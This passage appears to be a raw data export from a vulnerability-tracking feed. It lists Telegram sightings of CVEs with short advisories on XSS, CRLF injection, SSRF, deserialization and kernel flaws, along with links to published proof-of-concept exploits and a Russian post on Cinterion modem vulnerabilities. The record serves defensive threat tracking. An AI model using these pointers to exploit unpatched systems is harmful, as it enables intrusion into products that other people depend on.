\u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "52d6e831-3811-4d4b-8960-d61210da2ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47728", "type": "seen", "source": "https://t.me/cvedetector/3374", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47728 - IBM QRadar Suite/Cloud Pak for Security Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2023-47728 \nPublished : Aug. 16, 2024, 8:15 p.m. | 36\u00a0minutes ago \nDescription : IBM QRadar Suite Software 1.10.12.0 through 1.10.22.0 and IBM Cloud Pak for Security 1.10.0.0 through 1.10.11.0 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the request.  This information could be used in further attacks against the system.  IBM X-Force ID:  272201. \nSeverity: 4.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T22:55:31.000000Z"}, {"uuid": "aea9e68e-105b-4dc1-b055-e3ab73a2f4dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4700", "type": "seen", "source": "https://t.me/cibsecurity/73622", "content": "\u203c CVE-2023-4700 \u203c\n\nAn authorization issue affecting GitLab EE affecting all versions from 14.7 prior to 16.3.6, 16.4 prior to 16.4.2, and 16.5 prior to 16.5.1, allowed a user to run jobs in protected environments, bypassing any required approvals.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T20:25:57.000000Z"}, {"uuid": "604c6402-3462-4182-a699-b183ffba208a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47185", "type": "seen", "source": "https://t.me/cibsecurity/73598", "content": "\u203c CVE-2023-47185 \u203c\n\nUnauth. Stored Cross-Site Scripting (XSS) vulnerability in gVectors Team Comments \u00e2\u20ac\u201d wpDiscuz plugin <=\u00c2\u00a07.6.11 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T14:25:44.000000Z"}, {"uuid": "6ea05ef6-e790-40be-8181-6114664214cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47095", "type": "seen", "source": "https://t.me/cibsecurity/73295", "content": "\u203c CVE-2023-47095 \u203c\n\nAn issue was discovered in Virtualmin 7.7. The Custom Fields feature of Edit Virtual Server under System Customization allows XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-01T06:35:00.000000Z"}, {"uuid": "cef8a01d-ae64-47b3-9bc3-1468ec9b8e1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47473", "type": "seen", "source": "https://t.me/cibsecurity/74282", "content": "\u203c\ufe0fCVE-2023-47473\u203c\ufe0f\n\nDirectory Traversal vulnerability in fuwushe.org iFair versions 23.8ad0 and before allows an attacker to obtain sensitive information via a crafted script.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-04T01:32:44.000000Z"}, {"uuid": "f43c22e7-e87e-48eb-aef1-881dc8078646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47096", "type": "seen", "source": "https://t.me/cibsecurity/73293", "content": "\u203c CVE-2023-47096 \u203c\n\nAn issue was discovered in Virtualmin 7.7. The Cloudmin Services Client under System Settings allows XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-01T06:34:58.000000Z"}, {"uuid": "dbbbbb19-4c3c-4c38-93e2-66e0dc7eb1c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47233", "type": "seen", "source": "https://t.me/cibsecurity/73545", "content": "\u203c CVE-2023-47233 \u203c\n\nThe brcm80211 component in the Linux kernel through 6.5.10 has a brcmf_cfg80211_detach use-after-free in the device unplugging (disconnect the USB by hotplug) code. For physically proximate attackers with local access, this \"could be exploited in a real world scenario.\" This is related to brcmf_cfg80211_escan_timeout_worker in drivers/net/wireless/broadcom/brcm80211/brcmfmac/cfg80211.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T23:23:37.000000Z"}, {"uuid": "82f9201d-3a33-43a7-9b76-0679b6ec2587", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47235", "type": "seen", "source": "https://t.me/cibsecurity/73543", "content": "\u203c CVE-2023-47235 \u203c\n\nAn issue was discovered in FRRouting FRR through 9.0.1. A crash can occur when a malformed BGP UPDATE message with an EOR is processed, because the presence of EOR does not lead to a treat-as-withdraw outcome.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T23:23:35.000000Z"}, {"uuid": "1c64398f-a4b4-48a6-b891-a4f5ae40cd61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4769", "type": "seen", "source": "https://t.me/cibsecurity/73509", "content": "\u203c CVE-2023-4769 \u203c\n\nA SSRF vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0, specifically the /smtpConfig.do component. This vulnerability could allow an authenticated attacker to launch targeted attacks, such as a cross-port attack, service enumeration and other attacks via HTTP requests.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T13:23:18.000000Z"}, {"uuid": "58f69321-d5e6-469b-a388-05e5ea4e543f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4767", "type": "seen", "source": "https://t.me/cibsecurity/73508", "content": "\u203c CVE-2023-4767 \u203c\n\nA CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.csv.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T13:23:17.000000Z"}, {"uuid": "83fdd17e-bea3-43b2-b506-27d665ebad89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4768", "type": "seen", "source": "https://t.me/cibsecurity/73507", "content": "\u203c CVE-2023-4768 \u203c\n\nA CRLF injection vulnerability has been found in ManageEngine Desktop Central affecting version 9.1.0. This vulnerability could allow a remote attacker to inject arbitrary HTTP headers and perform HTTP response splitting attacks via the fileName parameter in /STATE_ID/1613157927228/InvSWMetering.pdf.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T13:23:16.000000Z"}, {"uuid": "4d97b8d8-6852-4528-b6ef-91358f7335c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/1097", "content": "#exploit\n1. CVE-2023-47253:\nQualitor <=8.2 - RCE\nhttps://github.com/vnxdtzip/CVE-2023-47253\n\n2. CVE-2024-7339:\nInformation Leak in DVR devices\nhttps://github.com/RevoltSecurities/CVE-2024-7339\n\n3. CVE-2024-5830:\nFrom object transition to RCE in the Chrome renderer\nhttps://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer", "creation_timestamp": "2024-09-22T04:47:11.000000Z"}, {"uuid": "c0a74a34-7c46-4a6b-bf5e-2f24559623bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47204", "type": "seen", "source": "https://t.me/cibsecurity/73416", "content": "\u203c CVE-2023-47204 \u203c\n\nUnsafe YAML deserialization in yaml.Loader in transmute-core before 1.13.5 allows attackers to execute arbitrary Python code.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-02T11:22:23.000000Z"}, {"uuid": "a6b85d97-f1d1-41b4-aa10-73d431e5931d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/l2Vzp4vIKj6tL2ItYlEzDg7I0ePD1shAaZlJFOJL7T40rA", "content": "", "creation_timestamp": "2023-11-21T06:21:09.000000Z"}, {"uuid": "d71a27ba-2a5b-4f41-a69c-6cc36feddbd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/kQeAK9cAnQwdYL0AGQjGF8KPA-O05qaoT5ri0rbVIOfsnA", "content": "", "creation_timestamp": "2023-11-17T14:55:34.000000Z"}, {"uuid": "4c941d69-ef67-4c9e-be33-f885e3363631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "Telegram/QSBwDO5JS9USsedDvROFYoSDD1KC919f_lQ4j3gNeoPMvw", "content": "", "creation_timestamp": "2023-11-17T14:54:26.000000Z"}, {"uuid": "f37e900f-0c1e-4e0b-b219-cd94d8f47ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47099", "type": "seen", "source": "https://t.me/cibsecurity/73292", "content": "\u203c CVE-2023-47099 \u203c\n\nAn issue was discovered in Virtualmin 7.7. The Create Virtual Server functionality allows XSS attacks against anyone who accesses the Virtual Server Summary tab.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-01T06:34:57.000000Z"}, {"uuid": "ddb6eb19-fd93-434e-873f-0cb3abd00a90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47610", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "6cb40881-48d9-4b7e-89b6-71e226afdadb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47614", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 